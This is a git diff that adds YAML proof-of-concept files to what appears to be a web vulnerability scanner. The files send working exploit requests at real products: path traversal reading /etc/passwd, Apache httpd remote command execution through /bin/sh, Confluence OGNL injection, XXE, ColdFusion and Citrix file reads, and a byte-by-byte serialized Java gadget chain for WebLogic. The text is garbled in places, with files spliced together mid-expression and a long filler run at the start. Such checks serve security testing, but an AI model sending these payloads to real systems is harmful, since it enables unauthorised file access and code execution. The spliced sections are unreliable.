AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
+ follow_redirects: false
+ expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html"
+detail:
+ author: Jarcis-cy(https://github.com/Jarcis-cy)
+ links:
+ - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
diff --git a/webscan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml b/webscan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml
new file mode 100644
index 0000000..35618a6
--- /dev/null
+++ b/webscan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
+groups:
+ cgibin:
+ - method: GET
+ path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
+ expression: |
+ response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+ icons:
+ - method: GET
+ path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
+ expression: |
+ response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+ author: JingLing(https://github.com/shmilylty)
+ links:
+ - https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
\ No newline at end of file
diff --git a/webscan/pocs/apache-httpd-cve-2021-41773-rce.yml b/webscan/pocs/apache-httpd-cve-2021-41773-rce.yml
new file mode 100644
index 0000000..f6ebbba
--- /dev/null
+++ b/webscan/pocs/apache-httpd-cve-2021-41773-rce.yml
@@ -0,0 +1,14 @@
+name: poc-yaml-apache-httpd-cve-2021-41773-rce
+set:
+ r1: randomInt(800000000, 1000000000)
+ r2: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
+ body: echo;expr {{r1}} + {{r2}}
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+ author: B1anda0(https://github.com/B1anda0)
+ links:
+ - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
diff --git a/webscan/pocs/apache-kylin-unauth-cve-2020-13937.yml b/webscan/pocs/apache-kylin-unauth-cve-2020-13937.yml
new file mode 100644
index 0000000..61dfc3b
--- /dev/null
+++ b/webscan/pocs/apache-kylin-unauth-cve-2020-13937.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-apache-kylin-unauth-cve-2020-13937
+rules:
+ - method: GET
+ path: /kylin/api/admin/config
+ expression: |
+ response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
+detail:
+ author: JingLing(github.com/shmilylty)
+ links:
+ - https://s.tencent.com/research/bsafe/1156.html
diff --git a/webscan/pocs/apache-nifi-api-unauthorized-access.yml b/webscan/pocs/apache-nifi-api-unauthorized-access.yml
new file mode 100644
index 0000000..59e2537
--- /dev/null
+++ b/webscan/pocs/apache-nifi-api-unauthorized-access.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-apache-nifi-api-unauthorized-access
+manual: true
+transport: http
+rules:
+ - method: GET
+ path: /nifi-api/flow/current-user
+ follow_redirects: false
+ expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
+detail:
+ author: wulalalaaa(https://github.com/wulalalaaa)
+ links:
+ - https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
diff --git a/webscan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml b/webscan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml
new file mode 100644
index 0000000..50b63f9
--- /dev/null
+++ b/webscan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
+rules:
+ - method: POST
+ path: /webtools/control/xmlrpc
+ headers:
+ Content-Type: application/xml
+ body: >-
+ ]>&disclose;
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+ author: su(https://suzzz112113.github.io/#blog)
+ links:
+ - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
diff --git a/webscan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml b/webscan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml
new file mode 100644
index 0000000..fe264a4
--- /dev/null
+++ b/webscan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml
@@ -0,0 +1,19 @@
+name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: POST
+ path: /webtools/control/xmlrpc
+ headers:
+ Content-Type: application/xml
+ body: >-
+ {{rand}}dwisiswant0
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
+detail:
+ author: su(https://suzzz112113.github.io/#blog)
+ links:
+ - https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
+ - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
diff --git a/webscan/pocs/aspcms-backend-leak.yml b/webscan/pocs/aspcms-backend-leak.yml
new file mode 100644
index 0000000..1a4b888
--- /dev/null
+++ b/webscan/pocs/aspcms-backend-leak.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-aspcms-backend-leak
+rules:
+ - method: GET
+ path: /plug/oem/AspCms_OEMFun.asp
+ expression: |
+ response.status == 200 && "")) && response.body.bcontains(b"citrix")
+detail:
+ author: JingLing(https://hackfun.org/)
+ links:
+ - https://support.citrix.com/article/CTX276688
+ - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
+ - https://dmaasland.github.io/posts/citrix.html
diff --git a/webscan/pocs/citrix-cve-2020-8193-unauthorized.yml b/webscan/pocs/citrix-cve-2020-8193-unauthorized.yml
new file mode 100644
index 0000000..3f02963
--- /dev/null
+++ b/webscan/pocs/citrix-cve-2020-8193-unauthorized.yml
@@ -0,0 +1,20 @@
+name: poc-yaml-citrix-cve-2020-8193-unauthorized
+set:
+ user: randomLowercase(8)
+ pass: randomLowercase(8)
+rules:
+ - method: POST
+ path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1"
+ headers:
+ Content-Type: application/xml
+ X-NITRO-USER: '{{user}}'
+ X-NITRO-PASS: '{{pass}}'
+ body:
+ follow_redirects: false
+ expression: >
+ response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"]))
+detail:
+ author: bufsnake(https://github.com/bufsnake)
+ links:
+ - https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py
+ - https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html
diff --git a/webscan/pocs/citrix-xenmobile-cve-2020-8209.yml b/webscan/pocs/citrix-xenmobile-cve-2020-8209.yml
new file mode 100644
index 0000000..2b00ade
--- /dev/null
+++ b/webscan/pocs/citrix-xenmobile-cve-2020-8209.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-citrix-xenmobile-cve-2020-8209
+rules:
+ - method: GET
+ path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body)
+detail:
+ author: B1anda0(https://github.com/B1anda0)
+ links:
+ - https://nvd.nist.gov/vuln/detail/CVE-2020-8209
diff --git a/webscan/pocs/coldfusion-cve-2010-2861-lfi.yml b/webscan/pocs/coldfusion-cve-2010-2861-lfi.yml
new file mode 100644
index 0000000..e5982f4
--- /dev/null
+++ b/webscan/pocs/coldfusion-cve-2010-2861-lfi.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-coldfusion-cve-2010-2861-lfi
+rules:
+ - method: GET
+ path: >-
+ /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=")
+detail:
+ version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions
+ author: sharecast
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
\ No newline at end of file
diff --git a/webscan/pocs/confluence-cve-2015-8399.yml b/webscan/pocs/confluence-cve-2015-8399.yml
new file mode 100644
index 0000000..5fa729a
--- /dev/null
+++ b/webscan/pocs/confluence-cve-2015-8399.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-confluence-cve-2015-8399
+rules:
+ - method: GET
+ path: /spaces/viewdefaultdecorator.action?decoratorName
+ follow_redirects: false
+ expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
+detail:
+ author: whynot(https://github.com/notwhy)
+ links:
+ - https://www.anquanke.com/vul/id/1150798
\ No newline at end of file
diff --git a/webscan/pocs/confluence-cve-2019-3396-lfi.yml b/webscan/pocs/confluence-cve-2019-3396-lfi.yml
new file mode 100644
index 0000000..3a5b901
--- /dev/null
+++ b/webscan/pocs/confluence-cve-2019-3396-lfi.yml
@@ -0,0 +1,17 @@
+name: poc-yaml-confluence-cve-2019-3396-lfi
+rules:
+ - method: POST
+ path: /rest/tinymce/1/macro/preview
+ headers:
+ Content-Type: "application/json"
+ Host: localhost
+ Referer: http://localhost
+ body: >-
+ {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(b"contextConfigLocation")
+detail:
+ author: sharecast
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
\ No newline at end of file
diff --git a/webscan/pocs/confluence-cve-2021-26084.yml b/webscan/pocs/confluence-cve-2021-26084.yml
new file mode 100644
index 0000000..412edda
--- /dev/null
+++ b/webscan/pocs/confluence-cve-2021-26084.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-confluence-cve-2021-26084
+set:
+ r1: randomInt(100000, 999999)
+ r2: randomInt(100000, 999999)
+rules:
+ - method: POST
+ path: /pages/createpage-entervariables.action?SpaceKey=x
+ body: |
+ queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
+detail:
+ author: Loneyer(https://github.com/Loneyers)
+ links:
+ - https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
diff --git a/webscan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml b/webscan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml
new file mode 100644
index 0000000..1dcb230
--- /dev/null
+++ b/webscan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read
+set:
+ rand: randomLowercase(6)
+rules:
+ - method: GET
+ path: /s/{{rand}}/_/;/WEB-INF/web.xml
+ follow_redirects: false
+ expression: response.status == 200 && response.body.bcontains(b"Confluence") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig")
+detail:
+ author: wulalalaaa(https://github.com/wulalalaaa)
+ links:
+ - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
diff --git a/webscan/pocs/consul-rexec-rce.yml b/webscan/pocs/consul-rexec-rce.yml
new file mode 100644
index 0000000..4ab8c55
--- /dev/null
+++ b/webscan/pocs/consul-rexec-rce.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-consul-rexec-rce
+rules:
+ - method: GET
+ path: /v1/agent/self
+ expression: |
+ response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false")
+detail:
+ author: imlonghao(https://imlonghao.com/)
+ links:
+ - https://www.exploit-db.com/exploits/46073
diff --git a/webscan/pocs/consul-service-rce.yml b/webscan/pocs/consul-service-rce.yml
new file mode 100644
index 0000000..8426cac
--- /dev/null
+++ b/webscan/pocs/consul-service-rce.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-consul-service-rce
+rules:
+ - method: GET
+ path: /v1/agent/self
+ expression: |
+ response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true")
+detail:
+ author: imlonghao(https://imlonghao.com/)
+ links:
+ - https://www.exploit-db.com/exploits/46074
diff --git a/webscan/pocs/coremail-cnvd-2019-16798.yml b/webscan/pocs/coremail-cnvd-2019-16798.yml
new file mode 100644
index 0000000..097f5fa
--- /dev/null
+++ b/webscan/pocs/coremail-cnvd-2019-16798.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-coremail-cnvd-2019-16798
+rules:
+ - method: GET
+ path: >-
+ /mailsms/s?func=ADMIN:appState&dumpConfig=/
+ follow_redirects: false
+ expression: >
+ response.status == 200 && response.body.bcontains(bytes("
+ follow_redirects: true
+ expression: >
+ response.body.bcontains(b"225773091")
+ v10:
+ - method: POST
+ path: /wls-wsat/CoordinatorPortType
+ headers:
+ Content-Type: text/xml
+ cmd: whoami
+ body: |-
+
+
+
+
+
+
+
+
+ oracle.toplink.internal.sessions.UnitOfWorkChangeSet
+
+
+
+ -84
+
+
+ -19
+
+
+ 0
+
+
+ 5
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 107
+
+
+ 101
+
+
+ 100
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -40
+
+
+ 108
+
+
+ -41
+
+
+ 90
+
+
+ -107
+
+
+ -35
+
+
+ 42
+
+
+ 30
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -70
+
+
+ 68
+
+
+ -123
+
+
+ -107
+
+
+ -106
+
+
+ -72
+
+
+ -73
+
+
+ 52
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 119
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 58
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 46
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 46
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 46
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 46
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 46
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 9
+
+
+ 87
+
+
+ 79
+
+
+ -63
+
+
+ 110
+
+
+ -84
+
+
+ -85
+
+
+ 51
+
+
+ 3
+
+
+ 0
+
+
+ 9
+
+
+ 73
+
+
+ 0
+
+
+ 13
+
+
+ 95
+
+
+ 105
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 14
+
+
+ 95
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 120
+
+
+ 90
+
+
+ 0
+
+
+ 21
+
+
+ 95
+
+
+ 117
+
+
+ 115
+
+
+ 101
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 105
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 77
+
+
+ 101
+
+
+ 99
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 105
+
+
+ 115
+
+
+ 109
+
+
+ 76
+
+
+ 0
+
+
+ 25
+
+
+ 95
+
+
+ 97
+
+
+ 99
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 69
+
+
+ 120
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 83
+
+
+ 116
+
+
+ 121
+
+
+ 108
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 101
+
+
+ 101
+
+
+ 116
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 11
+
+
+ 95
+
+
+ 97
+
+
+ 117
+
+
+ 120
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 116
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 59
+
+
+ 91
+
+
+ 0
+
+
+ 10
+
+
+ 95
+
+
+ 98
+
+
+ 121
+
+
+ 116
+
+
+ 101
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 91
+
+
+ 0
+
+
+ 6
+
+
+ 95
+
+
+ 99
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 91
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 5
+
+
+ 95
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 4
+
+
+ 76
+
+
+ 0
+
+
+ 17
+
+
+ 95
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 22
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ 0
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 97
+
+
+ 108
+
+
+ 108
+
+
+ 112
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 75
+
+
+ -3
+
+
+ 25
+
+
+ 21
+
+
+ 103
+
+
+ 103
+
+
+ -37
+
+
+ 55
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 2
+
+
+ 91
+
+
+ 66
+
+
+ -84
+
+
+ -13
+
+
+ 23
+
+
+ -8
+
+
+ 6
+
+
+ 8
+
+
+ 84
+
+
+ -32
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 14
+
+
+ 29
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ -70
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 34
+
+
+ 7
+
+
+ 0
+
+
+ -72
+
+
+ 7
+
+
+ 0
+
+
+ 37
+
+
+ 7
+
+
+ 0
+
+
+ 38
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ -83
+
+
+ 32
+
+
+ -109
+
+
+ -13
+
+
+ -111
+
+
+ -35
+
+
+ -17
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 114
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 91
+
+
